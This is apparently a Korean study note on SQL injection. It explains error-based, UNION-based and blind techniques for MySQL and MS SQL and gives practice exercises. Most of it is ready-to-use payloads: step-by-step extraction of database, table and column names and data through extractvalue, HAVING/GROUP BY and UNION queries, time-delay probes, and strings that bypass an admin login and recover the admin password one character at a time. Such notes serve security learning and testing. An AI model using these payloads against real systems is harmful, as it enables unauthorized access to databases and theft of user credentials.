SQL Injection
- 서버 사이트 취약점 중 하나
- SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점
Error based SQL Injection
1. 내용
- SQL의 잘못된 문법이나 자료형 불일치 등에 의해 데이터베이스가 알려주는 오류 메시지에 의존하여 수행되는 공격 기법
- 취약 여부 확인 방법 (사용자 입력값이 SQL 쿼리로 해석되어 백엔드의 DB와 통신하는지 파악)
> 문자열 타입의 경우, ' 입력해보기
> 숫자형 타입의 경우, 3-2 와 같이 계산식 넣어보기 - 공격 순서는 다음과 같다
> DBMS 종류 파악 → DB 명 획득 → 테이블 명 획득 → 컬럼 명 획득 → 데이터 추출 - 주의) 언제나 비밀번호 입력칸에 SQL 쿼리를 넣을 필요 없음
> ID: admin" or "1
> PW: 1
2. MySQL 환경에서의 공격 방법 (XPath 사용)
- extractvalue(xml_frag, xpath_expr) 함수: xml_frag에 xpath_expr과 xpath가 일치하는 xml 노드를 반환하는 함수
- 함수 사용 예시
AND extractvalue(rand(), concat(0x3a, 실행할-SQL-쿼리))--
- 데이터베이스 버전 추출
and extractvalue(rand(), concat(0x3a, version()))--
- 데이터베이스 명 추출
and extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, schema_name) FROM information_schema.schemata LIMIT 0,1)))--
- 테이블 명 추출
and extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.TABLES WHERE table_schema='데이터베이스명' LIMIT 0,1)))--
- 컬럼 명 추출
and extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='데이터베이스명' AND TABLE_NAME='테이블명' LIMIT 0,1)))--
- 데이터 추출
and extractvalue(rand(), concat(0x3a, (SELECT concat(컬럼1, 0x3a, 컬럼2) FROM 데이터베이스명.테이블명 LIMIT 0,1)))--
- extractvalue() 함수의 오류 메시지는 단일 행(한 줄)으로 반환되므로 LIMIT을 사용하여 한 번에 하나의 행만 출력 가능하므로 LIMIT 0,1 → LIMIT 1,1 → LIMIT 2,3 로 하여 계속 추출
- 주의!! sql 문 뒤에 띄어쓰기 하나 넣어서 입력하기
- 만약 반환하는 값이 길어서 짤릴 경우에는 substr() 함수 사용하기
- 혹시 위 테이블 명 추출 명령어가 실행이 안되면 and extractvalue(rand(), concat(0x3a, database()))— 해보기
※ URL 변환은 다음 사이트 참고 : https://meyerweb.com/eric/tools/dencoder/
3. MS SQL 환경에서의 공격 방법 (GROUP BY 및 HAVING 사용)
- 테이블 명 및 첫번째 컬럼 명 추출
'HAVING 1=1--
- 두번째 컬럼 명 추출
'GROUP BY 테이블명.첫번째컬럼명 HAVING 1=1--
- 세번째 컬럼 명 추출
'GROUP BY 테이블명.첫번째컬럼명, 테이블명.두번째컬럼명 HAVING 1=1--
- 만약 숫자형인 경우 ' 제거해서 사용
UNION based SQL Injection
1. 내용
- 데이터베이스 오류 메시지를 표시하지 않을 경우 사용
- 기존 정상쿼리와 악성쿼리를 합집합으로 출력하여 정보 획득하는 기법
※ UNION은 두 개 이상 SELECT 문의 합친 결과를 출력 - 단, UNION은 각 테이블의 컬럼 수가 동일하여야 함(따라서 컬럼 수 확인 필요)
- 취약 여부 확인 방법
> Error based SQL Injection 과 동일함 - 컬럼 수 확인 방법
> ' ORDER BY 1--
> ' ORDER BY 2--
> ' ORDER BY 3--
에러나는 경우에는 그 전 숫자가 컬럼 갯수 - HTTP 응답에 표시되는 컬럼 파악
> ' UNION ALL SELECT 1,2,3--
응답에 출력되는 번호 컬럼 사용하기
2. MySQL 환경에서의 공격 방법
- DB 명 추출
' UNION ALL SELECT database(),2,3--
- 테이블 명 추출
' UNION ALL SELECT group_concat(table_name),2,3 FROM information_schema.TABLES WHERE table_schema='DB명'--
- 컬럼 명 추출
' UNION ALL SELECT group_concat(column_name),2,3 FROM information_schema.COLUMNS WHERE table_schema='DB명' AND table_name='테이블명'--
- 데이터 추출
' UNION ALL SELECT group_concat(concat(컬럼1,0x3a,컬럼2)),2,3 FROM DB명.테이블명--
※ group_concat은 서로 다른 결과를 한 줄로 합침
Blind based SQL Injection
1. 내용
- HTTP 응답이나 데이터베이스 오류 메시지를 표시하지 않는 경우 사용
- 요청이 참인지 거짓인지만 확인할 수 있을 때 사용
- Blind 인젝션 공격 방법은 입력값 바꿔가면서 계속 시도하여야 함
- 취약 여부 확인 방법
> 시간 지연 함수를 활용하여 참/거짓 응답 차이 확인
> AND if(1=1,sleep(10),false)--
※ MySQL은 sleep() 함수, MS SQL은 waitfor deley 등
SQL Injection 실습
1. admin 계정으로 로그인하기
ID: admin
PW: (입력)
" OR 1=1--
2. admin 계정으로 로그인하기 (쿼리 결과가 맨 앞 한글자씩만 출력될 때)
ID: admin
PW: (입력)
" UNION SELECT SUBSTR(pw,1,1) FROM table_name WHERE id='admin'--
" UNION SELECT SUBSTR(pw,2,1) FROM table_name WHERE id='admin'--
...
3. admin 계정 비밀번호 알아내기 (로그인 성공, 실패 여부를 통하여)
ID: admin
PW: (입력)
" OR id="admin" AND SUBSTR(pw,1,1)="A
" OR id="admin" AND SUBSTR(pw,2,1)="B
" OR id="admin" AND SUBSTR(pw,3,1)="C
" OR id="admin" AND SUBSTR(pw,4,1)="1
4. admin 계정 비밀번호 알아내기 (쿼리 실행 결과 출력을 통하여)
ID: (아무거나)
PW: (입력)
' UNION SELECT pw FROM table_name WHERE id='admin'--